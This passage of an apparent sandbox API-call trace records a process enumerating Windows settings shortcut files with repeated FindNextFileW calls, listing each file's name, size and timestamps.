lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a5eee5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf2a5eee5, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupPCSystemDetails.settingcontent-ms", cAlternateFileName="AA7B22~1.SET")) returned 1 [0194.021] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2d0daa7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf2d0daa7, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x49f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupPCSystemDeviceEncryption.settingcontent-ms", cAlternateFileName="AA90D6~1.SET")) returned 1 [0194.021] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf30c7491, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf30c7491, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupPCSystemSupportInfo.settingcontent-ms", cAlternateFileName="AA8AD4~1.SET")) returned 1 [0194.021] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3303771, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf3303771, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x238d127e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupPCSystemWindowsInfo.settingcontent-ms", cAlternateFileName="AAEE78~1.SET")) returned 1 [0194.021] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf37c82ef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf37c82ef, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x434, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupPen.settingcontent-ms", cAlternateFileName="AAD39C~1.SET")) returned 1 [0194.021] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf39de3dc, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf39de3dc, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x238f74d9, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x48f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupPersonalizeColorChoose.settingcontent-ms", cAlternateFileName="AA8BAF~1.SET")) returned 1 [0194.021] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf438dd12, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf438dd12, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x238ab028, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupPowerAndSleepDisplayOff.settingcontent-ms", cAlternateFileName="AAAECF~1.SET")) returned 1 [0194.021] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4557a73, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf4557a73, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x2339a047, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b5, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupPowerAndSleepDisplayOffAoAc.settingcontent-ms", cAlternateFileName="AACD91~1.SET")) returned 1 [0194.021] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4852833, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf4852833, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x2339a047, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupPowerAndSleepSleep.settingcontent-ms", cAlternateFileName="AAF7F3~1.SET")) returned 1 [0194.021] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c7ea39, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf4c7ea39, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x498, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupPrivacyLocationHistory.settingcontent-ms", cAlternateFileName="AAF226~1.SET")) returned 1 [0194.021] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58908df, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf58908df, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupRegionDateTimeFormats.settingcontent-ms", cAlternateFileName="AA3E8B~1.SET")) returned 1 [0194.021] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5d7b68d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf5d7b68d, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x471, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupSpeechMicrophone.settingcontent-ms", cAlternateFileName="AAC29B~1.SET")) returned 1 [0194.022] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5fddcab, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf5fddcab, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupSpeechTextToSpeech.settingcontent-ms", cAlternateFileName="AA18E7~1.SET")) returned 1 [0194.022] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf62b2906, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf62b2906, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x238d127e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupVirtualDesktops.settingcontent-ms", cAlternateFileName="AA8C6B~1.SET")) returned 1 [0194.022] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf647c596, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf647c596, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsGroupYourAccount.settingcontent-ms", cAlternateFileName="AA1C73~1.SET")) returned 1 [0194.022] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf65f9d24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf65f9d24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x435, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageAccountsManage.settingcontent-ms", cAlternateFileName="AAD2AF~1.SET")) returned 1 [0194.022] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf68f4be3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf68f4be3, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x238d127e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageAccountsPicture.settingcontent-ms", cAlternateFileName="AA8DF2~1.SET")) returned 1 [0194.022] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6c15da3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf6c15da3, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x42b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageAccountsSync.settingcontent-ms", cAlternateFileName="AAB6AF~1.SET")) returned 1 [0194.033] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6eeaa67, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf6eeaa67, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageAccountsUsers.settingcontent-ms", cAlternateFileName="AAF973~1.SET")) returned 1 [0194.033] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf70681e6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf70681e6, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageActivate.settingcontent-ms", cAlternateFileName="AAFE78~1.SET")) returned 1 [0194.033] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf746e133, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf746e133, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x42b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageAppsDefaults.settingcontent-ms", cAlternateFileName="AA91CC~1.SET")) returned 1 [0194.033] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf75c56b7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf75c56b7, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x238ab028, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4ea, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageAppsDefaultsFileExtensionView.settingcontent-ms", cAlternateFileName="AA86F6~1.SET")) returned 1 [0194.033] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf789a333, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf789a333, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d1, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageAppsDefaultsProtocolView.settingcontent-ms", cAlternateFileName="AA13B2~1.SET")) returned 1 [0194.033] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7a3ddc5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf7a3ddc5, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x2391d733, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x444, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageAppsNotifications.settingcontent-ms", cAlternateFileName="AAF9A5~1.SET")) returned 1 [0194.033] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf89248d8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf89248d8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x421, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageBackground.settingcontent-ms", cAlternateFileName="AA064F~1.SET")) returned 1 [0194.034] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8cb810f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf8cb810f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x238d127e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x42b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageBatterySaver.settingcontent-ms", cAlternateFileName="AA8E4E~1.SET")) returned 1 [0194.034] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9130939, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf9130939, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x40d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageColors.settingcontent-ms", cAlternateFileName="AAB06B~1.SET")) returned 1 [0194.034] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9582be7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf9582be7, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x444, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageDataSenseOverview.settingcontent-ms", cAlternateFileName="AAF001~1.SET")) returned 1 [0194.034] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9c375eb, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf9c375eb, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x421, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageDevicesPen.settingcontent-ms", cAlternateFileName="AABBC2~1.SET")) returned 1 [0194.034] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa3d0e55, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xfa3d0e55, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageDevicesPrinters.settingcontent-ms", cAlternateFileName="AAE8DA~1.SET")) returned 1 [0194.034] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa86f736, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xfa86f736, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageEaseOfAccessClosedCaptioning.settingcontent-ms", cAlternateFileName="AAAB49~1.SET")) returned 1 [0194.034] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb398bd0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xfb398bd0, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageEaseOfAccessHighContrast.settingcontent-ms", cAlternateFileName="AA2192~1.SET")) returned 1 [0194.034] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc38a7e4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xfc38a7e4, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x453, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageEaseOfAccessKeyboard.settingcontent-ms", cAlternateFileName="AA0CA5~1.SET")) returned 1 [0194.034] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4ad665, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xfd4ad665, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageEaseOfAccessMagnifier.settingcontent-ms", cAlternateFileName="AABD4A~1.SET")) returned 1 [0194.034] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x273a6c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x273a6c, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageEaseOfAccessMoreOptions.settingcontent-ms", cAlternateFileName="AA913F~1.SET")) returned 1 [0194.034] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb6c24, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfb6c24, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x444, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageEaseOfAccessMouse.settingcontent-ms", cAlternateFileName="AA05B3~1.SET")) returned 1 [0194.034] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1691857, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1691857, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x238ab028, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x453, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageEaseOfAccessNarrator.settingcontent-ms", cAlternateFileName="AAEDFB~1.SET")) returned 1 [0194.034] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19d8c5a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x19d8c5a, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x421, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageLockScreen.settingcontent-ms", cAlternateFileName="AA6364~1.SET")) returned 1 [0194.044] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a3706, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x22a3706, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x403, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageMaps.settingcontent-ms", cAlternateFileName="AA31EA~1.SET")) returned 1 [0194.044] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2df6a01, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x2df6a01, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x42b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageMultiTasking.settingcontent-ms", cAlternateFileName="AA9989~1.SET")) returned 1 [0194.044] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46409e3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46409e3, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageNetworkAirplaneMode.settingcontent-ms", cAlternateFileName="AA619A~1.SET")) returned 1 [0194.044] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e266a5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x4e266a5, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageNetworkDialup.settingcontent-ms", cAlternateFileName="AA0465~1.SET")) returned 1 [0194.044] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573d64a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x573d64a, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, 